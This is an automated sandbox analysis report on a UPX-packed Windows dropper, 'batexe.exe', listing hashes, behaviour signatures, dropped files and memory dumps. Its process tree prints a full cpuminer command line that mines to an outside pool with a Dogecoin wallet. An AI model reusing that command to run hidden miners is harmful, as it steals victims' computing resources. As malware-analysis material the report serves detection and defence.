73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
299s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
21-02-2024 10:53

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4952	b2e.exe
3848	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3848	cpuminer-sse2.exe
3848	cpuminer-sse2.exe
3848	cpuminer-sse2.exe
3848	cpuminer-sse2.exe
3848	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2304-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2304 wrote to memory of 4952	2304	batexe.exe	74
PID 2304 wrote to memory of 4952	2304	batexe.exe	74
PID 2304 wrote to memory of 4952	2304	batexe.exe	74
PID 4952 wrote to memory of 2776	4952	b2e.exe	75
PID 4952 wrote to memory of 2776	4952	b2e.exe	75
PID 4952 wrote to memory of 2776	4952	b2e.exe	75
PID 2776 wrote to memory of 3848	2776	cmd.exe	78
PID 2776 wrote to memory of 3848	2776	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2304
- C:\Users\Admin\AppData\Local\Temp\8A3E.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8A3E.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8A3E.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4952
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8BF4.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2776
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8A3E.tmp\b2e.exe

Filesize
6.7MB

MD5
bb79c91f773e8b1ad86dbb7bb367c895

SHA1
859e0a05ebe3301b67959467d5a0886e99c7db97

SHA256
5e785133462c15522970098c93f38408d417bac6a0db484b7f1aea3a054374a2

SHA512
b05c335a08eda25710b96af390c82b3eb51386e817ef04bc03552ab10a89559b1db7dad3dca53ce0bec9871166dda02a08650f3359a00cb595605415b8aacf37

Download Submit
C:\Users\Admin\AppData\Local\Temp\8A3E.tmp\b2e.exe

Filesize
7.0MB

MD5
1c93a3cdd50570a55b60e2f1a0319d99

SHA1
056098bfc1195defc9f57bffa6739f37b2d11dc7

SHA256
0cc25daeb0dd02cbf6e4a79257781ccc09e4cc90fbbb7ec6f88a21bf128fc18b

SHA512
96e6ddf98b00e185e1452a679c6b785dbf2e49b635f98ab4ee3a9df7d8e5cbae4cbfbc8ff48413005ec759dae42b551956624633ef0fb457429c12cedb5802e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\8BF4.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.1MB

MD5
04e48ff385aa56f27381b68340ab7a2b

SHA1
e569b956b8a5e1e0e0e75a68f0989055288702d0

SHA256
7d7be55dc2c272b5760049a95130f145cc5648451a94cbcecd4eb6a952a19acc

SHA512
99d42d28eaa9fe680d29fdbcf1915ea06d7a9a3b19f8bc924047f2b3f0995e878774cdbd3ead373dd98e8dc01e4eb47ab327b726902266adb7a2bec7a7c6258e

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.9MB

MD5
391151559f30a390f30ace8c87d35176

SHA1
208802546e213864efa94b9b3fc063ffea566f29

SHA256
7f577e21f50d0fe2c1445926365d1367c875287242653190d9a9c467e276b7f7

SHA512
d03baa82daab587a3e1a2cc4e7785aa7b517d198eda5ab1c38dc1c3da0b1b9a720e6623b204828fe632790b6621783e3f2a076e5830fc6f961f6a78ae6c53b0c

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.9MB

MD5
6baed6a22a5db422095d23e12710fde7

SHA1
b876935a59aee1a35edd10251333d4c5121e5950

SHA256
aac0c7845d607b5e49e981cd89fd0e870a51f2be2c7e9d47aa1ca8d4cedbbebe

SHA512
cb11879e95418b24ed34ccc0c5b9bfd979dec50792f688a12dc8148196e90dd487bb0c3ec968d9300c88d45e8f7e68d5143236d0c00a6c528d280f4d9bafc5ff

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2304-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3848-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3848-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3848-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3848-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3848-43-0x000000006E140000-0x000000006E1D8000-memory.dmp

Filesize
608KB

Download
memory/3848-44-0x0000000001160000-0x0000000002A15000-memory.dmp

Filesize
24.7MB

Download
memory/3848-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3848-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3848-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3848-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3848-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3848-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3848-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3848-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3848-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3848-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4952-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4952-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download